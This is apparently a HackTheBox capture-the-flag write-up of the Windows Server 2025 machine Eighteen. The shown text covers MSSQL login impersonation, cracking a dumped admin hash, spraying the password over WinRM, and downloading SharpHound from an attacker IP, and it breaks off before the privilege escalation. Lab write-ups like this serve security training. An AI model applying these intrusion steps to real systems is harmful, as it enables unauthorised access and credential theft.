Eighteen

Eighteen is a Windows Server 2025 assume-breach box starting with MSSQL credentials. I’ll use MSSQL login impersonation to access the financial planner database and recover a Werkzeug PBKDF2 hash for the web admin. After cracking the hash and spraying the password against domain users, I’ll get a WinRM shell. From there, I’ll identify that the domain is running at the Windows 2025 functional level and exploit Bad Successor, abusing the dMSA migration feature to create a delegated managed service account that inherits the Administrator’s group memberships, giving full domain admin access.

Box Info

Easy
Release Date 15 Nov 2025
Retire Date 11 Apr 2026
OS Windows Windows
Rated Difficulty Rated difficulty for Eighteen
Radar Graph Radar chart for Eighteen
User
00:23:02Embargo
Root
00:36:15ahos6
Creator kavigihan
Scenario
As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account:
kevin / iNa2we6haRj2gaw!

Recon

Initial Scanning

nmap finds three open TCP ports, HTTP (80), MSSQL (1433), and WinRM (5985):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.21.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
...[snip]...
Nmap scan report for 10.129.21.40
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-04-06 16:48:19 UTC for 14s
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  REASON
80/tcp   open  http     syn-ack ttl 127
1433/tcp open  ms-sql-s syn-ack ttl 127
5985/tcp open  wsman    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
           Raw packets sent: 131081 (5.768MB) | Rcvd: 14 (600B)
oxdf@hacky$ sudo nmap -p 80,1433,5985 -sCV 10.129.21.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
Nmap scan report for 10.129.21.40
Host is up (0.022s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2026-04-06T23:49:15+00:00; +7h00m01s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-06T20:00:15
|_Not valid after:  2056-04-06T20:00:15
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds

MSSQL and WinRM are both expected only on a Windows Client / Server.

The webserver is redirecting to eighteen.htb. I’ll bruteforce for subdomains that respond differently (ffuf -u http://10.129.21.40 -H "Host: FUZZ.eighteen.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac) but not find any. I’ll update my hosts file:

10.129.21.40 eighteen.htb

I’ll also re-scan with nmap using the hostname, but there’s nothing of note.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

nmap notes a clock skew. It doesn’t seem that UDP 123 is open, so I’ll need to find some other way than ntpdate to sync my clock with Eighteen before any actions that use Kerberos auth.

Initial Credentials

HackTheBox provides the following scenario associated with Eighteen:

As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account:
kevin / iNa2we6haRj2gaw!

There’s no LDAP or SMB to test. WinRM does not work:

oxdf@hacky$ netexec winrm eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
WINRM       10.129.21.40    5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) 
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\kevin:iNa2we6haRj2gaw!

It doesn’t work as a domain account for MSSQL, but does work for a local MSSQL account:

oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
MSSQL       10.129.21.40    1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.21.40    1433   DC01             [-] eighteen.htb\kevin:iNa2we6haRj2gaw! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL       10.129.21.40    1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.21.40    1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw!

Given that, I’ll want to prioritize:

  • HTTP
  • MSSQL

Website - TCP 80

Site

The site is a personal finance website:

image-20260406161143781 expand

There’s a /features page that shows some features, as well as a login and registration page. The provided creds do not work to login. I’ll sign up for an account:

image-20260406161313571

Once I register and login, it leads to /dashbard:

image-20260406161401853 expand

The link to “Admin” points to /admin, but going there just returns a redirect back to the dashboard:

image-20260406161446454

Tech Stack

The HTTP response headers show only IIS:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Cookie
Server: Microsoft-IIS/10.0
Date: Tue, 07 Apr 2026 02:39:34 GMT
Content-Length: 2253

The 404 page is the default Flask 404:

image-20260406161908054

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://eighteen.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://eighteen.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        5l       22w      189c http://eighteen.htb/logout => http://eighteen.htb/
200      GET       66l      121w     1961c http://eighteen.htb/login
302      GET        5l       22w      199c http://eighteen.htb/admin => http://eighteen.htb/login
200      GET       76l      145w     2421c http://eighteen.htb/register
200      GET       74l      156w     2253c http://eighteen.htb/
200      GET      603l     1072w     9601c http://eighteen.htb/static/css/style.css
200      GET       88l      203w     2822c http://eighteen.htb/features
302      GET        5l       22w      199c http://eighteen.htb/dashboard => http://eighteen.htb/login
200      GET       74l      156w     2253c http://eighteen.htb/%E2%80%8E
200      GET       74l      156w     2253c http://eighteen.htb/%D7%99%D7%9D
200      GET       74l      156w     2253c http://eighteen.htb/%E9%99%A4%E6%8A%95%E7%A5%A8
200      GET       74l      156w     2253c http://eighteen.htb/%E9%99%A4%E5%80%99%E9%80%89
200      GET       74l      156w     2253c http://eighteen.htb/%E4%BE%B5%E6%9D%83
400      GET        6l       26w      324c http://eighteen.htb/error%1F_log
200      GET       74l      156w     2253c http://eighteen.htb/%E8%AE%A8%E8%AE%BA
200      GET       74l      156w     2253c http://eighteen.htb/%C4%BC
200      GET       74l      156w     2253c http://eighteen.htb/%CC%A8%C4%BC
200      GET       74l      156w     2253c http://eighteen.htb/%E7%89%B9%E6%AE%8A
200      GET       74l      156w     2253c http://eighteen.htb/%DD%BF%C4%BC
200      GET       74l      156w     2253c http://eighteen.htb/%C5%B1%C4%BC
200      GET       74l      156w     2253c http://eighteen.htb/%C4%A3%C4%BC
[####################] - 34s    30006/30006   0s      found:21      errors:0      
[####################] - 34s    30000/30000   895/s   http://eighteen.htb/

Other than a bunch of stuff I’ve already interacted with, the only interesting thing is the URL-encoded paths.:

Encoded URL Decoded Notes
%E2%80%8E U+200E (Left-to-Right Mark) Invisible Unicode control character
%D7%99%D7%9D ים Hebrew characters (yod + mem)
%E9%99%A4%E6%8A%95%E7%A5%A8 除投票 Chinese: “remove voting”
%E9%99%A4%E5%80%99%E9%80%89 除候选 Chinese: “remove candidate”
%E4%BE%B5%E6%9D%83 侵权 Chinese: “infringement”
%E8%AE%A8%E8%AE%BA 讨论 Chinese: “discussion”
%C4%BC ļ Latvian letter
%CC%A8%C4%BC ̨ļ Combining cedilla + ļ
%E7%89%B9%E6%AE%8A 特殊 Chinese: “special”
%DD%BF%C4%BC ݿļ Arabic/Latvian chars
%C5%B1%C4%BC űļ Hungarian/Latvian chars
%C4%A3%C4%BC ģļ Latvian chars

These all return 200 with the same response size (74l/156w/2253c) as the root /, meaning the app is treating any unrecognized path as equivalent to the homepage rather than returning a 404. These are just noise from the wordlist containing Unicode entries. Nothing actionable here.

MSSQL - TCP 1433

Basic Enumeration

I’ll connect to the database using mssqlclient.py:

oxdf@hacky$ mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (kevin  guest@master)> 

I don’t have admin access, so I can’t run commands or enable xp_cmdshell:

SQL (kevin  guest@master)> xp_cmdshell whoami
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (kevin  guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.

There is one non-standard DB:

SQL (kevin  guest@master)> enum_db
name                is_trustworthy_on   
-----------------   -----------------   
master                              0   
tempdb                              0   
model                               0   
msdb                                1   
financial_planner                   0 

kevin can’t access it:

SQL (kevin  guest@master)> use financial_planner;
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.

The users are the standard MSSQL users:

SQL (kevin  guest@master)> enum_users;
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL   
SQL (kevin  guest@master)> enum_logins;
name     type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
------   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa       SQL_LOGIN             0          1               0             0            0              0           0           0           0   
kevin    SQL_LOGIN             0          0               0             0            0              0           0           0           0   
appdev   SQL_LOGIN             0          0               0             0            0              0           0           0           0  

For logins, in addition to the default admin account, sa, and kevin, there’s appdev. This is likely the account that works with the web application, and therefore likely can access the database.

There is one server linked to this instance, DC01:

SQL (kevin  guest@master)> enum_links
SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   

The server is configured to allow kevin to impersonate the appdev account:

SQL (kevin  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev   

This will be useful shortly.

User Enumeration

I can do a RID cycle attack through MSSQL. I walked through how to do this manually in HTB Signed. netexec will do it easily:

oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
MSSQL       10.129.21.40    1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.21.40    1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw! 
MSSQL       10.129.21.40    1433   DC01             498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL       10.129.21.40    1433   DC01             500: EIGHTEEN\Administrator
MSSQL       10.129.21.40    1433   DC01             501: EIGHTEEN\Guest
MSSQL       10.129.21.40    1433   DC01             502: EIGHTEEN\krbtgt
MSSQL       10.129.21.40    1433   DC01             512: EIGHTEEN\Domain Admins
MSSQL       10.129.21.40    1433   DC01             513: EIGHTEEN\Domain Users
MSSQL       10.129.21.40    1433   DC01             514: EIGHTEEN\Domain Guests
MSSQL       10.129.21.40    1433   DC01             515: EIGHTEEN\Domain Computers
MSSQL       10.129.21.40    1433   DC01             516: EIGHTEEN\Domain Controllers
MSSQL       10.129.21.40    1433   DC01             517: EIGHTEEN\Cert Publishers
MSSQL       10.129.21.40    1433   DC01             518: EIGHTEEN\Schema Admins
MSSQL       10.129.21.40    1433   DC01             519: EIGHTEEN\Enterprise Admins
MSSQL       10.129.21.40    1433   DC01             520: EIGHTEEN\Group Policy Creator Owners
MSSQL       10.129.21.40    1433   DC01             521: EIGHTEEN\Read-only Domain Controllers
MSSQL       10.129.21.40    1433   DC01             522: EIGHTEEN\Cloneable Domain Controllers
MSSQL       10.129.21.40    1433   DC01             525: EIGHTEEN\Protected Users
MSSQL       10.129.21.40    1433   DC01             526: EIGHTEEN\Key Admins
MSSQL       10.129.21.40    1433   DC01             527: EIGHTEEN\Enterprise Key Admins
MSSQL       10.129.21.40    1433   DC01             528: EIGHTEEN\Forest Trust Accounts
MSSQL       10.129.21.40    1433   DC01             529: EIGHTEEN\External Trust Accounts
MSSQL       10.129.21.40    1433   DC01             553: EIGHTEEN\RAS and IAS Servers
MSSQL       10.129.21.40    1433   DC01             571: EIGHTEEN\Allowed RODC Password Replication Group
MSSQL       10.129.21.40    1433   DC01             572: EIGHTEEN\Denied RODC Password Replication Group
MSSQL       10.129.21.40    1433   DC01             1000: EIGHTEEN\DC01$
MSSQL       10.129.21.40    1433   DC01             1101: EIGHTEEN\DnsAdmins
MSSQL       10.129.21.40    1433   DC01             1102: EIGHTEEN\DnsUpdateProxy
MSSQL       10.129.21.40    1433   DC01             1601: EIGHTEEN\mssqlsvc
MSSQL       10.129.21.40    1433   DC01             1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL       10.129.21.40    1433   DC01             1603: EIGHTEEN\HR
MSSQL       10.129.21.40    1433   DC01             1604: EIGHTEEN\IT
MSSQL       10.129.21.40    1433   DC01             1605: EIGHTEEN\Finance
MSSQL       10.129.21.40    1433   DC01             1606: EIGHTEEN\jamie.dunn
MSSQL       10.129.21.40    1433   DC01             1607: EIGHTEEN\jane.smith
MSSQL       10.129.21.40    1433   DC01             1608: EIGHTEEN\alice.jones
MSSQL       10.129.21.40    1433   DC01             1609: EIGHTEEN\adam.scott
MSSQL       10.129.21.40    1433   DC01             1610: EIGHTEEN\bob.brown
MSSQL       10.129.21.40    1433   DC01             1611: EIGHTEEN\carol.white
MSSQL       10.129.21.40    1433   DC01             1612: EIGHTEEN\dave.green

It looks like the username structure is <first>.<last>. I’ll grab all of those into a file:

oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | grep -oP 'EIGHTEEN\\\w+\.\w+' | cut -d '\' -f2 | tee users
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green

Shell as adam.scott

Site Admin Access

Recover admin Hash

I noted above that kevin could impersonate the appdev account. I’ll switch to that account:

SQL (kevin  guest@master)> exec_as_login appdev
SQL (appdev  appdev@master)>

This user can access financial_planner:

SQL (appdev  appdev@master)> use financial_planner
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev  appdev@financial_planner)> 

I’ll get the tables in the current database:

SQL (appdev  appdev@financial_planner)> SELECT name FROM sysobjects WHERE xtype='U';
name          
-----------   
users         
incomes       
expenses      
allocations   
analytics     
visits

The most interesting is users:

SQL (appdev  appdev@financial_planner)> select * from users;
  id   full_name   username   email                password_hash                                                                                            is_admin   created_at   
----   ---------   --------   ------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133          1   2025-10-29 05:39:03

Crack Hash

The hash is not in the format hashcat expects. On its example hashes page there’s an example for mode 10900, PBKDF2-HMAC-SHA256:

sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

The format of that hash is <HMAC>:<iterations>:<salt base64>:<hash base64>. The hash in the database is a Werkzeug-generated hash. I showed reformatting this in HTB Instant using a Python script:

import base64
import codecs
import re
import sys


if len(sys.argv) != 2:
    print(f'usage: {sys.argv[0]} <werkzeug hash file>')
    print('Input file has Werkzeug hashes one per line')
    sys.exit(1)

with open(sys.argv[1], 'r') as f:
    hashes = f.readlines()

for h in hashes:
    m = re.match(r'pbkdf2:sha256:(\d*)\$([^\$]*)\$(.*)', h)
    iterations =  m.group(1)
    salt = m.group(2)
    hashe = m.group(3)
    print(f"sha256:{iterations}:{base64.b64encode(salt.encode()).decode()}:{base64.b64encode(codecs.decode(hashe,'hex')).decode()}")

I’ll use that same script here to reformat the hash:

oxdf@hacky$ uv run werkzeug_to_hashcat.py <( echo 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' ) | tee admin.hash
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

The script takes a file with one hash per line. I’ll use process substitution to just echo that one hash into a temp file with the <() format.

I’ll pass admin.hash to hashcat, where it recognizes the format, and cracks the hash in about 25 seconds on my host:

$ hashcat admin.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
...[snip]...

Website Access

Logging into the website as admin with the password “iloveyou1” works:

image-20260406183017752

I can now access the Admin page:

image-20260406183032557 expand

It shows the database is MSSQL on dc01.eighteen.htb, and that this app is called Flask Financial Planner v1.0. There’s nothing else interesting here.

WinRM

Password Spray

I’ve got a list of users from above and a password. I’ll spray it to see if any of the domain users reuse the same password as the website admin:

oxdf@hacky$ netexec winrm eighteen.htb -u users -p iloveyou1 --continue-on-success 
WINRM       10.129.21.40    5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) 
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\jamie.dunn:iloveyou1
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\jane.smith:iloveyou1
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\alice.jones:iloveyou1
WINRM       10.129.21.40    5985   DC01             [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\bob.brown:iloveyou1
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\carol.white:iloveyou1
WINRM       10.129.21.40    5985   DC01             [-] eighteen.htb\dave.green:iloveyou1

adam.scott shares that password and is in a group that allows WinRM access.

Shell

I’ll connect with evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i eighteen.htb -u adam.scott -p iloveyou1
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'eighteen.htb:5985' as 'adam.scott'
evil-winrm-py PS C:\Users\adam.scott\Documents>

And grab user.txt:

evil-winrm-py PS C:\Users\adam.scott\Desktop> cat user.txt
fcebc703************************

Shell as root

Enumeration

Host

Other than user.txt, adam.scott’s home directory is empty:

evil-winrm-py PS C:\Users\adam.scott> tree /f .
Folder PATH listing
Volume serial number is E154-392A
C:\USERS\ADAM.SCOTT
+---Desktop
¦       user.txt
¦       
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos

There are the standard Public and Administrator home directories, and also mssqlsvc:

evil-winrm-py PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/13/2025  12:55 AM                adam.scott
d-----        11/10/2025   2:15 PM                Administrator
d-----        11/11/2025   9:36 AM                mssqlsvc
d-r---         3/23/2025   8:38 PM                Public       

It’s unusual in the real world (and to a lesser degree the HTB world) to see a service account with a home directory. This means that the account has logged in interactively at some point. Service accounts like MSSQL typically run as NT SERVICE\MSSQLSERVER or a managed service account and don’t get user profiles.

The website is run from C:\inetpub\eighteen.htb:

evil-winrm-py PS C:\inetpub\eighteen.htb> ls

    Directory: C:\inetpub\eighteen.htb

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/27/2025   1:12 PM                static
d-----         11/8/2025   6:29 AM                templates
-a----         11/8/2025   6:49 AM          10646 app.py
-a----        10/27/2025   1:15 PM             57 requirements.txt
-a----        11/10/2025  12:18 PM            611 web.config  

app.py has all the Flask routes, plus the config for connecting to the database:

DB_CONFIG = {                                                      
    'server': 'dc01.eighteen.htb',                                 
    'database': 'financial_planner',                               
    'username': 'appdev',                                          
    'password': 'MissThisElite$90',                                                                                                    
    'driver': '{ODBC Driver 17 for SQL Server}',
    'TrustServerCertificate': 'True'
} 

I’ve already had full access to the database. Nothing else super interesting here.

I’ll try to get OS information with systeminfo, but it fails for permissions issues. Get-ComputerInfo works:

evil-winrm-py PS C:\> Get-ComputerInfo


WindowsBuildLabEx                                       : 26100.1.amd64fre.ge_release.240331-1435
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerDatacenter
WindowsInstallationType                                 : Server Core
WindowsInstallDateFromRegistry                          : 3/24/2025 3:38:13 AM
WindowsProductId                                        : 00491-60000-17651-AA131
WindowsProductName                                      : Windows Server 2025 Datacenter
WindowsRegisteredOrganization                           :
WindowsRegisteredOwner                                  :
WindowsSystemRoot                                       : C:\WINDOWS
WindowsVersion                                          : 2009
OSDisplayVersion                                        : 24H2
BiosCharacteristics                                     :
BiosBIOSVersion                                         :
BiosBuildNumber                                         :
BiosCaption                                             :
BiosCodeSet                                             :
BiosCurrentLanguage                                     :
BiosDescription                                         :
BiosEmbeddedControllerMajorVersion                      :
BiosEmbeddedControllerMinorVersion                      :
BiosFirmwareType                                        :
BiosIdentificationCode                                  :
BiosInstallableLanguages                                :
BiosInstallDate                                         :
BiosLanguageEdition                                     :
BiosListOfLanguages                                     :
BiosManufacturer                                        :
BiosName                                                :
BiosOtherTargetOS                                       :
BiosPrimaryBIOS                                         :
BiosReleaseDate                                         :
BiosSeralNumber                                         :
BiosSMBIOSBIOSVersion                                   :
BiosSMBIOSMajorVersion                                  :
BiosSMBIOSMinorVersion                                  :
BiosSMBIOSPresent                                       :
BiosSoftwareElementState                                :
BiosStatus                                              :
BiosSystemBiosMajorVersion                              :
BiosSystemBiosMinorVersion                              :
BiosTargetOperatingSystem                               :
BiosVersion                                             :
CsAdminPasswordStatus                                   :
CsAutomaticManagedPagefile                              :
CsAutomaticResetBootOption                              :
CsAutomaticResetCapability                              :
CsBootOptionOnLimit                                     :
CsBootOptionOnWatchDog                                  :
CsBootROMSupported                                      :
CsBootStatus                                            :
CsBootupState                                           :
CsCaption                                               :
CsChassisBootupState                                    :
CsChassisSKUNumber                                      :
CsCurrentTimeZone                                       :
CsDaylightInEffect                                      :
CsDescription                                           :
CsDNSHostName                                           :
CsDomain                                                :
CsDomainRole                                            :
CsEnableDaylightSavingsTime                             :
CsFrontPanelResetStatus                                 :
CsHypervisorPresent                                     :
CsInfraredSupported                                     :
CsInitialLoadInfo                                       :
CsInstallDate                                           :
CsKeyboardPasswordStatus                                :
CsLastLoadInfo                                          :
CsManufacturer                                          :
CsModel                                                 :
CsName                                                  :
CsNetworkAdapters                                       :
CsNetworkServerModeEnabled                              :
CsNumberOfLogicalProcessors                             :
CsNumberOfProcessors                                    :
CsProcessors                                            :
CsOEMStringArray                                        :
CsPartOfDomain                                          :
CsPauseAfterReset                                       :
CsPCSystemType                                          :
CsPCSystemTypeEx                                        :
CsPowerManagementCapabilities                           :
CsPowerManagementSupported                              :
CsPowerOnPasswordStatus                                 :
CsPowerState                                            :
CsPowerSupplyState                                      :
CsPrimaryOwnerContact                                   :
CsPrimaryOwnerName                                      :
CsResetCapability                                       :
CsResetCount                                            :
CsResetLimit                                            :
CsRoles                                                 :
CsStatus                                                :
CsSupportContactDescription                             :
CsSystemFamily                                          :
CsSystemSKUNumber                                       :
CsSystemType                                            :
CsThermalState                                          :
CsTotalPhysicalMemory                                   :
CsPhyicallyInstalledMemory                              :
CsUserName                                              :
CsWakeUpType                                            :
CsWorkgroup                                             :
OsName                                                  :
OsType                                                  :
OsOperatingSystemSKU                                    :
OsVersion                                               :
OsCSDVersion                                            :
OsBuildNumber                                           :
OsHotFixes                                              :
OsBootDevice                                            :
OsSystemDevice                                          :
OsSystemDirectory                                       :
OsSystemDrive                                           :
OsWindowsDirectory                                      :
OsCountryCode                                           :
OsCurrentTimeZone                                       :
OsLocaleID                                              :
OsLocale                                                :
OsLocalDateTime                                         :
OsLastBootUpTime                                        :
OsUptime                                                :
OsBuildType                                             :
OsCodeSet                                               :
OsDataExecutionPreventionAvailable                      :
OsDataExecutionPrevention32BitApplications              :
OsDataExecutionPreventionDrivers                        :
OsDataExecutionPreventionSupportPolicy                  :
OsDebug                                                 :
OsDistributed                                           :
OsEncryptionLevel                                       :
OsForegroundApplicationBoost                            :
OsTotalVisibleMemorySize                                :
OsFreePhysicalMemory                                    :
OsTotalVirtualMemorySize                                :
OsFreeVirtualMemory                                     :
OsInUseVirtualMemory                                    :
OsTotalSwapSpaceSize                                    :
OsSizeStoredInPagingFiles                               :
OsFreeSpaceInPagingFiles                                :
OsPagingFiles                                           :
OsHardwareAbstractionLayer                              :
OsInstallDate                                           :
OsManufacturer                                          :
OsMaxNumberOfProcesses                                  :
OsMaxProcessMemorySize                                  :
OsMuiLanguages                                          :
OsNumberOfLicensedUsers                                 :
OsNumberOfProcesses                                     :
OsNumberOfUsers                                         :
OsOrganization                                          :
OsArchitecture                                          :
OsLanguage                                              :
OsProductSuites                                         :
OsOtherTypeDescription                                  :
OsPAEEnabled                                            :
OsPortableOperatingSystem                               :
OsPrimary                                               :
OsProductType                                           :
OsRegisteredUser                                        :
OsSerialNumber                                          :
OsServicePackMajorVersion                               :
OsServicePackMinorVersion                               :
OsStatus                                                :
OsSuites                                                :
OsServerLevel                                           : ServerCore
KeyboardLayout                                          :
TimeZone                                                : (UTC-08:00) Pacific Time (US & Canada)
LogonServer                                             :
PowerPlatformRole                                       : Desktop
HyperVisorPresent                                       :
HyperVRequirementDataExecutionPreventionAvailable       :
HyperVRequirementSecondLevelAddressTranslation          :
HyperVRequirementVirtualizationFirmwareEnabled          :
HyperVRequirementVMMonitorModeExtensions                :
DeviceGuardSmartStatus                                  : Off
DeviceGuardRequiredSecurityProperties                   :
DeviceGuardAvailableSecurityProperties                  :
DeviceGuardSecurityServicesConfigured                   :
DeviceGuardSecurityServicesRunning                      :
DeviceGuardCodeIntegrityPolicyEnforcementStatus         :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :

The most interesting thing here is Windows Server 2025 Datacenter, running 24H2. That’s a very new OS, one not typically seen in the wild much yet (especially at the time of Eighteen’s release).

Active Directory

I’ll grab a copy of SharpHound.exe from the BloodHound-CE Docker, upload it to Eighteen, and run it:

evil-winrm-py PS C:\programdata> wget http://10.10.14.61/SharpHound.exe -outfile sh.exe                                                
evil-winrm-py PS C:\programdata> .\sh.exe -c all
2026-04-08T21:29:20.4954961-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-04-08T21:29:20.6978229-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:20.7463509-07:00|INFORMATION|Initializing SharpHound at 9:29 PM on 4/8/2026
2026-04-08T21:29:20.9056006-07:00|INFORMATION|Resolved current domain to eighteen.htb
